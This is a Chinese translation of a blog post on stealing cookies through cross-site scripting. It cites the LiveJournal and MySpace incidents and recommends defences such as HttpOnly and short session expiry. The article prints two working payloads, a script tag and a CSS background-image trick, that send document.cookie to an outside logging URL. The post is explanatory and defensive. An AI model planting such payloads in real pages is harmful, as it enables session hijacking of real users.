温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

XSS之窃取Cookie

发布时间:2020-07-28 20:02:31 来源:网络 阅读:161 作者:Fundebug 栏目:web开发

译者按: 10年前的博客似乎有点老了,但是**XSS*****的威胁依然还在,我们不得不防。

  • 原文: XSS - Stealing Cookies 101

  • 译者: Fundebug

为了保证可读性,本文采用意译而非直译。另外,本文版权归原作者所有,翻译仅用于学习。

窃取Cookie是非常简单的,因此不要轻易相信客户端所声明的身份。即便这个Cookie是在数秒之前验证过,那也未必是真的,尤其当你仅使用Cookie验证客户端的时候。

2006年1月,LiveJournal遭到了**XSS*****,这个事件足以警示我们。还有,2006年10月,MySapce也遭到了**XSS*****,这告诉我们必须非常谨慎地过滤用户发布的文本,因为*可以在文本中掺杂一些JavaScript代码,以此窃取登陆用户的Cookie**。

正如****LiveJournal那样,你不需要在登陆用户的浏览器进行任何操作,而可以在第三方进行所有操作。更糟糕的是,窃取Cookie事实上操作起来非常简单,但是防范起来却非常困难**。

下面的的JavaScript代码就可以窃取Cookie,是不是很简单?

<script>
new Image().src="http://jehiah.com/_sandbox/log.cgi?c="+encodeURI(document.cookie);
</script>

如果我可以将这段代码插入到某个登陆用户的页面,则Cookie就会通过HTTP请求发送给我,然后我就可以伪造那个可怜的登陆用户了!

在IE浏览器上,可以通过在CSS代码中执行JavaScript来窃取Cookie,也很简单。

<style>
.getcookies{
    background-image:url('javascript:new Image().src="http://jehiah.com/_sandbox/log.cgi?c=" + encodeURI(document.cookie);');
}
</style>
<p class="getcookies"></p>

如果你对用户发布的文本内容不进行严格的过滤的话,*就可以很方便地窃取Cookie。是不是很可怕?如果你是一个负责任的开发者的话,你就应该保持警惕!因此,你必须假设所有用户的Cookie都被窃取了。注意,是所有用户**,对于这一点,我不想含糊其辞。

为了保证安全:请不停地重设session的重设;将过期时间设置短一些;监控referreruserAgent的值;使用HttpOnly禁止脚本读取Cookie。这些措施并非万无一失,但是增加了***的难度,因此也是有效的。

如果你对MySapce遭到的**XSS*****不了解,可以查看*本人公开的技术细节,很有趣,不过切勿模仿,因为他为自己的行为此付出了不小的代价:三年内被禁止使用电脑!**。

参考链接

  • 9.3 避免XSS***
  • 萨米 (计算机蠕虫)
  • Technical explanation of The MySpace Worm
  • Account Hijackings Force LiveJournal Changes

关于Fundebug

Fundebug专注于JavaScript、微信小程序、微信小游戏、支付宝小程序、React Native、Node.js和Java实时BUG监控。 自从2016年双十一正式上线,Fundebug累计处理了7亿+错误事件,得到了Google、360、金山软件、百姓网等众多知名用户的认可。欢迎免费试用!

XSS之窃取Cookie

版权声明

转载时请注明作者Fundebug以及本文地址:
https://blog.fundebug.com/2017/08/16/xss_steal_cookie/

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI